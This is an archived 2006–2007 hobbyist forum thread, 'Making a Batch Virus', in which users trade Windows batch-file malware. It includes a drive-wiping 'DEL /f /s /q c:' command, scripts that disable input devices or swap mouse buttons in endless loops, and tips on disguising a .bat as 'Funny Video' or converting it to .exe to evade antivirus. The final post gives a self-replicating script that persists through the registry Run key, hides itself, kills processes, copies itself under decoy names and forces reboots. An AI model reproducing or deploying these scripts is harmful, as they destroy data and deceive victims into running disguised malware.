Kodewerx

Our culture has advanced beyond all that you could possibly comprehend with one hundred percent of your brain.
It is currently Thu Sep 04, 2025 2:05 am

All times are UTC - 8 hours [ DST ]


Forum rules


Discussion of illegal hacking/cracking is prohibited. (No virus/trojans/cracks/warez/etc allowed.)



Post new topic Reply to topic  [ 33 posts ]  Go to page 1, 2  Next
Author Message
 Post subject: Making a Batch Virus.
PostPosted: Sat Dec 16, 2006 10:26 pm 
Offline
Kommunist
Kommunist

Joined: Mon Oct 02, 2006 9:01 am
Posts: 106
Your going to learn how to make a Batch Virus.

Before you say anything, I KNOW batch viruses are shit. I know you should use C+ or some other language, I don't care. I know there detectable, they are for noobs, etc. etc. Again, I don't care. I'm just doing this for kicks, I just know someone like qman, para, etc. is going to come in here and chew my ass out. So thats what this is here for.

Its really easy, and sort of fun, don't blame me if you fuck up and delete your entire C: drive.

All you need is NotePad.

Basics:

Start it up and put this as your first line:

@echo off
cls

What echo off does is keep the victim from knowing whats going on, it hides everything so its executed without being seen on screen.

Then add:

title (Whatever you want the title to be)

echo Pwn3d!

echo.

echo.

pause

Save it as batchtest.bat (MAKE SURE YOU HAVE IT WITH A .BAT EXTENSTION!) and run it. See what it does?

title changes the title to what you want. echo puts text on screen. echo with a period after it skips a line. Pause stops the program and asks for a button to be pressed before continuing on. Without it , the "program" would flash then go away.

Having a little fun:

Rundll32 will control any of the stuff connected to the computer. Example: Keyboard , Mouse, etc

Rundll32 mouse,disable
Rundll32 keyboard,disable

^That will disable the mouse and keyboard.

DON'T RUN IT ON YOUR COMPUTER UNLESS YOU WANT YOUR MOUSE AND KEYBOARD TO FREEZE. Common Sense I figure, but I wanted to warn you anyhow.


Goto Command

You can make a sort of 'checkpoint" or "flag" that your virus can loop back to.

All you have to do is type the name with a ":" at the end.

Example:

:Start
@echo off
cls
Rundll32 mouse,disable
Rundll32 keyboard,disable
echo.
echo.
echo Hacked.
echo.
echo Your a sitting duck.
echo.
echo You can't do anything now.
echo.
echo This is going to loop
echo.
echo.
goto start

It will disable the mouse and keyboard and say the same thing over and over again until it is someone stopped or the computer is turned off.

Destruction

With the Del command you can delete stuff.

Make a txt file called deleteme save it save it somewhere. Now lets say you saved it in the following directory: C:\Documents and Settings

Then our code would looke like this

Del C:\Documents and Settings\deleteme.txt

That would delete the file right there.

With the following code you can destroy a computer within 30 seconds:

DEL /f /s /q c:

/f forces the deletion

/s deletes the who tree

/q does it quietly

c: is the hard drive.

DON'T RUN THIS ON YOUR COMPUTER, UNLESS YOU WANT TO BE FUCKED. Again commmon sense, don't run it unless your using a controlled Virtual Desktop Enviroment.

Well thats it for now, theres alot more I can teach, but I want to see what you guys learn from this, if you want more, I guess I could add more. I know this is a shit piss poor job, but I'm bored, its 12:30 A.M. and I should actually be sleeping right now, and I really don't care, I just thought this forum could use something. Also I know this is not hacking but I figured it fit somehow. I plan on cleaning this up grammatically and structuring it if anything becomes of it.


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun Dec 17, 2006 7:08 am 
Offline
Kommunist
Kommunist

Joined: Sun Nov 19, 2006 11:23 am
Posts: 37
Location: At my computer... -_-
There was a thing I (hope) I remember how to do on Linux, you just feed the output from the mouse to the speakers. It makes really wierd noises, and the victim is all "WTF!!1!!" You can do the same thing with the keyboard.

_________________
<Insomniak`> Stupid fucking Google
<Insomniak`> "The" is a common word, and was not included in your search
<Insomniak`> "Who" is a common word, and was not included in your search


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun Dec 17, 2006 7:11 am 
Offline
Kommunist
Kommunist

Joined: Mon Oct 02, 2006 9:01 am
Posts: 106
Using What?


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun Dec 17, 2006 8:29 pm 
Offline
Krew (Admin)
Krew (Admin)
User avatar

Joined: Sun Oct 01, 2006 9:26 pm
Posts: 3768
Title: All in a day's work.
Probably something like

cat /dev/mouse > /dev/audio

_________________
I have to return some video tapes.

Feed me a stray cat.


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun Dec 17, 2006 9:22 pm 
Offline
Krew (Moderator)
Krew (Moderator)
User avatar

Joined: Mon Oct 02, 2006 7:05 pm
Posts: 494
Location: In Time
Title: Algorithm Strategist
Back on the old DOS, there was the choice command. For whatever reason, they've removed it now. I used to utilize that as well when making these.


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun Jan 14, 2007 5:14 pm 
Offline
Kommunist
Kommunist

Joined: Fri Nov 10, 2006 12:42 am
Posts: 63
$ cat /dev/input/mouse0 > /dev/snd/pcmC0D0c
cat: /dev/input/mouse0: Permission denied
$ sudo cat /dev/input/mouse0 > /dev/snd/pcmC0D0c
Password:
cat: write error: Invalid argument

:(


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Wed Feb 07, 2007 3:35 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Sun Oct 15, 2006 6:44 am
Posts: 92
Title: Everybody's bitch.
Hmm..Could you save the file, then attach it to a program so it would execute when they opened the program, say word?

Could you tell me how to do that?

Also, where on the screen will the messages appear?

_________________
"If you prick us, do we not BLEED? If you tickle us, do we not LAUGH? If you poison us, do we not DIE? And if you wrong us, shall we not REVENGE?"
~ William Shakespeare, The Merchant of Venice.
Thanks to Parasyte for introducing me to this. :D
Image


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Thu Feb 08, 2007 3:14 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Sun Oct 15, 2006 6:44 am
Posts: 92
Title: Everybody's bitch.
Parasytic_In_Theory wrote:
Hmm..Could you save the file, then attach it to a program so it would execute when they opened the program, say word?

Could you tell me how to do that?

Also, where on the screen will the messages appear?

Also, Rundll32 keyboard,disable doesn't work, it says it has an error loading the keyboard..

_________________
"If you prick us, do we not BLEED? If you tickle us, do we not LAUGH? If you poison us, do we not DIE? And if you wrong us, shall we not REVENGE?"
~ William Shakespeare, The Merchant of Venice.
Thanks to Parasyte for introducing me to this. :D
Image


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Fri Feb 09, 2007 1:32 pm 
Offline
Kommunist
Kommunist

Joined: Mon Oct 02, 2006 9:01 am
Posts: 106
Not sure about the keyboard but if you just take @echo off "off" it willl just appear on the screen there.


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Fri Feb 09, 2007 2:18 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Sun Oct 15, 2006 6:44 am
Posts: 92
Title: Everybody's bitch.
Okay, and could you tell me how to attach it to a program so it executes when the program is opened?

_________________
"If you prick us, do we not BLEED? If you tickle us, do we not LAUGH? If you poison us, do we not DIE? And if you wrong us, shall we not REVENGE?"
~ William Shakespeare, The Merchant of Venice.
Thanks to Parasyte for introducing me to this. :D
Image


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 11:57 am 
Offline
Kommunist
Kommunist

Joined: Fri Mar 23, 2007 7:17 pm
Posts: 15
So if it disables your mouse/keyboard then you turn off will then they be enabled?


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 1:07 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Wed Mar 21, 2007 1:11 pm
Posts: 204
http://www.gamexe.net/forum/archive.php ... orial.html


Access Granted...OR DENIED?
Yes that is the name lol. Today we will be using the IF command. When you open this batch it will ask for a password. If it's wrong it will say "Access denied" and if it's right it will say "Access granted" then it will exit. Good for hiding stuff(removing the exit command, that is)

As usual, start off any batch file like usual.

Code: @echo off
cls


Now we want it to say "Put in a password" type thingo, you know what I'm talking about. So let's have this:


Code:
@echo off
cls
echo Please enter a password:


Oh yay! Now for the IF command. This command is what it is. If. Example would be IF a user did this, open Google etc. So, we will add that when the user enters the correct password, it will go to Access granted, if not it will go to Access denied. So now it should look like this:

Code:
@echo off
cls
echo Please enter a password:
set /p inputchoice=
IF %inputchoice% equ gamingexe goto accessgranted


The password for this is: gamingexe, as you can see in the script. Now we want the access grant/deny thing. Script should now be:

Code:
@echo off
cls
echo Please enter a password:
set /p inputchoice=
IF %inputchoice% equ gamingexe goto accessgranted
echo.
echo.
echo Access Denied
pause
exit
:accessgranted
cls
echo Access Granted.
pause
exit


If you look in the IF script line, at the end it says goto. So when they type the correct password it will go to :accessgranted and execute the command. Oh-ho, done! Have some fun with it, mess around...don't just copy mine! lol.

Code:
@echo off
cls
echo Please enter a password:
set /p inputchoice=
IF %inputchoice% equ lolol goto accessgranted
:deny
echo.
echo.
echo Access Denied - YOU FAIL! MAELSTROM HAS DEFEATED YOU! RAWR! Erm...try again!
start http://www.gamexe.net
echo Please enter password:
set /p inputchoice=
IF %inputchoice% equ lolol goto accessgranted
goto deny
:accessgranted
cls
echo Access Granted.
pause
exit

This one I just did will open GamingExe everytime they fail to type the password "lolol"

Enjoy :P


I'm just copy and pasting to here :P I know people are computer protective so I added a lot of "no damage to your system" stuff.


What is a batch file?
A batch file is a file with the file extension ".bat" These files open MS-DOS(the command line prompt) and executes the script in the file.

So, what will this file you are about to teach me do?
Here is an overlook at what this file will do when executed:
1. It will swap the right and left click functions with each other so that left click is right click and right click is left click.
2. It will open 2 browsers at a time to the sites Google and Yahoo! everytime this file gets to that part of the script(how can you do that? read 4)
3. This file will have annoying pop up messages in the cmd with an annoying beep sound.
4. How can all this be repeated? All with the GOTO command. Read below.

Creating the file
So lets get down to business. Open Notepad. This is where you will write it. All files should start with:
:ECHO
cls

So in notepad you should have that. Now, what makes this file annoying is how it switches the mouse buttons. We will use the "rundll32" command to switch the buttons. This command can control any module on the computer(Mouse, Keyboard etc) so what we are going to do is switch the mouse buttons. This is now what your script in Notepad should look like:

:ECHO
cls
Rundll32 user32,SwapMouseButton

So far...so good. Next we will add the MSG command. This command will message the user specified and add an annoying "beep" sound. So we will target this to the admin, guest and owner because we don't know what user they are under. Your script should now be:

:ECHO
cls
Rundll32 user32,SwapMouseButton
cls
MSG owner This is quite annoying I bet
cls
MSG owner Only you can prevent forest fires!
cls
MSG Administrator This is quite annoying I bet
cls
MSG Administrator YOU'LL PAY FOR THIS, CAPTAIN PLANET
cls
MSG Guest Y HALO THAR!
cls
MSG Guest Hello
cls

So now for the browser opening. We will use the START command. This command can open any application that you direct it towards. So we will start 2 browsers. Your script should now be:


:ECHO
cls
Rundll32 user32,SwapMouseButton
cls
MSG owner This is quite annoying I bet
cls
MSG owner Only you can prevent forest fires!
cls
MSG Administrator This is quite annoying I bet
cls
MSG Administrator YOU'LL PAY FOR THIS, CAPTAIN PLANET
cls
MSG Guest Y HALO THAR!
cls
MSG Guest Hello
cls
start http://www.google.com
start http://www.yahoo.com

Maelstrom, how do we repeat the effect?
Simple. The GOTO command. If we direct the GOTO command to ECHO, it will repeat the file from the top over and over again. So at the end of your script put "goto ECHO" Your final result is:

:ECHO
cls
Rundll32 user32,SwapMouseButton
cls
MSG owner This is quite annoying I bet
cls
MSG owner Only you can prevent forest fires!
cls
MSG Administrator This is quite annoying I bet
cls
MSG Administrator YOU'LL PAY FOR THIS, CAPTAIN PLANET
cls
MSG Guest Y HALO THAR!
cls
MSG Guest Hello
cls
start http://www.google.com
start http://www.yahoo.com
goto ECHO

Wait....Notepad only saves text documents!!!11one
Save your file with .bat at the end of the name. Example: "Funny Video.bat" for a file name will make the file a batch file.

So...why should I send this to people? And how?
Well this tutorial is more for educational purposes and can be used as a great prank. So I ask any moderator or administrator to not delete this topic because I find nothing wrong with it because it will not harm any computer in any shape or form. It's simply a prank. To send it on AIM you will just need to send the file by File>Send File. For MSN you will need to store this in a .zip file to send because MSN says all batch files are bad. You can also download a .bat to .exe converter so it's less detectable by their virus programs. The ONLY reason why this triggers their virus detecting programs is because it's a batch file. ANY batch file would trigger an anti-virus program.
__________

There you have it, enjoy! Again, I ask that nobody delete or lock this topic just because I find nothing wrong with it and it's simply a prank. Nothing deadly. I also recommend you run the file yourself to see if it works. You can ask questions to me on AIM or MSN. Comments can be posted here.

Thank you, enjoy
http://www.howtogeek.com/howto/windows/ ... mand-line/

_________________
Everybody wants to go to heaven; but nobody wants to die.

Thank God I'm atheist


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 1:12 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Wed Mar 21, 2007 1:11 pm
Posts: 204
Disable mouse and keyboard is for Windows 95/98/ME

Thats why it doesnt work

_________________
Everybody wants to go to heaven; but nobody wants to die.

Thank God I'm atheist


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 1:14 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Wed Mar 21, 2007 1:11 pm
Posts: 204
Here some shutdown commands

This is for windows xp i believe

-r is restart
-l logout
-s shutdown
-f force

heres a example

Shutdown -r -f

^^^
That will force it to restart..
Got it?...Get It?...Good...

_________________
Everybody wants to go to heaven; but nobody wants to die.

Thank God I'm atheist


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 1:17 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Wed Mar 21, 2007 1:11 pm
Posts: 204
Annoying Beep

rundll32 user.exe,messagebeep
or
rundll32 user.exe,#104

_________________
Everybody wants to go to heaven; but nobody wants to die.

Thank God I'm atheist


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 1:18 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Wed Mar 21, 2007 1:11 pm
Posts: 204
You can use either of the following commands in a batch file to restart Windows 98/Me automatically:

runonce.exe -q
or
rundll32.exe shell32.dll,SHExitWindowsEx n

where n is one, or a combination of, the following numbers:

0 - LOGOFF
1 - SHUTDOWN
2 - REBOOT
4 - FORCE
8 - POWEROFF
The above options can be combined into one value to achieve different results. For example, to restart Windows forcefully, without querying any running programs, use the following command line:

rundll32.exe shell32.dll,SHExitWindowsEx 6

_________________
Everybody wants to go to heaven; but nobody wants to die.

Thank God I'm atheist


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 01, 2007 1:22 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Wed Mar 21, 2007 1:11 pm
Posts: 204
Can someone test this for windows XP

c:\windows\rundll32.exe\mouse,disable
c:\windows\rundll32.exe\keyboard,disable

_________________
Everybody wants to go to heaven; but nobody wants to die.

Thank God I'm atheist


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Wed May 02, 2007 11:19 am 
Offline
Komrade
Komrade

Joined: Sat Jan 27, 2007 6:18 pm
Posts: 2070
Location: Dothan, Alabama
Title: Derp
6 posts... Good God

_________________
Image
WWDD? - What Would Dale Do?


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun May 06, 2007 6:37 am 
Offline
Kommunist
Kommunist

Joined: Mon Apr 09, 2007 7:09 am
Posts: 29
dude i made a batch file and when i tried to open it it closed out by itself :evil: another thing gone rong

_________________
Image

Image


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Sun May 06, 2007 1:44 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Tue Mar 06, 2007 9:16 pm
Posts: 630
Location: City 17
Title: I have succeeded in making myself awesome.
You have to put pause at the end so it says Press any key to continue... that way when u continue than it closes not right when opened.

_________________
Image


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Tue May 08, 2007 1:06 pm 
Offline
Kommunist
Kommunist

Joined: Fri Mar 23, 2007 7:17 pm
Posts: 15
He said Not to run it on your computer <.<


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Wed May 09, 2007 1:19 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Tue Mar 06, 2007 9:16 pm
Posts: 630
Location: City 17
Title: I have succeeded in making myself awesome.
You can abort most things or just restart and fix them, except for the Del one or Formating

_________________
Image


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Fri May 18, 2007 6:34 pm 
Offline
Kommunist
Kommunist

Joined: Fri Mar 23, 2007 7:17 pm
Posts: 15
Does anybody know a guy called Vedx?


Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: Fri May 18, 2007 9:16 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Tue Mar 06, 2007 9:16 pm
Posts: 630
Location: City 17
Title: I have succeeded in making myself awesome.
No...?

_________________
Image


Top
 Profile  
Reply with quote  
PostPosted: Thu May 31, 2007 10:41 am 
Offline
Kommunist
Kommunist

Joined: Fri Mar 23, 2007 7:17 pm
Posts: 15
Ok.


Top
 Profile  
Reply with quote  
PostPosted: Mon Nov 26, 2007 6:06 pm 
Offline
Kommunist
Kommunist

Joined: Thu Aug 30, 2007 6:03 pm
Posts: 5
Sorry about the bump, but I felt this was a fairly important question

Is there any way to force these upon someone if all you know is their IP address?


Top
 Profile  
Reply with quote  
PostPosted: Mon Nov 26, 2007 7:53 pm 
No way. If it were that easy everyone would do it.


Top
  
Reply with quote  
PostPosted: Mon Dec 17, 2007 1:52 pm 
Offline
Kommunist
Kommunist

Joined: Thu Dec 13, 2007 2:07 am
Posts: 2
]:> ) sweeet i hope this works in college anyways im a noob at hacking dont tear me a new a** over this.


Top
 Profile  
Reply with quote  
PostPosted: Mon Dec 17, 2007 3:47 pm 
Offline
Kommunist
Kommunist
User avatar

Joined: Tue Mar 06, 2007 9:16 pm
Posts: 630
Location: City 17
Title: I have succeeded in making myself awesome.
No this doesn't work in any colleges ever.

_________________
Image


Top
 Profile  
Reply with quote  
PostPosted: Tue Dec 25, 2007 11:51 pm 
Offline
Kommunist
Kommunist

Joined: Tue Dec 25, 2007 11:47 pm
Posts: 3
Title: Who will watch the watcher
Check this out



@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP


Top
 Profile  
Reply with quote  
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 33 posts ]  Go to page 1, 2  Next

All times are UTC - 8 hours [ DST ]


Who is online

Users browsing this forum: No registered users and 115 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Powered by phpBB® Forum Software © phpBB Group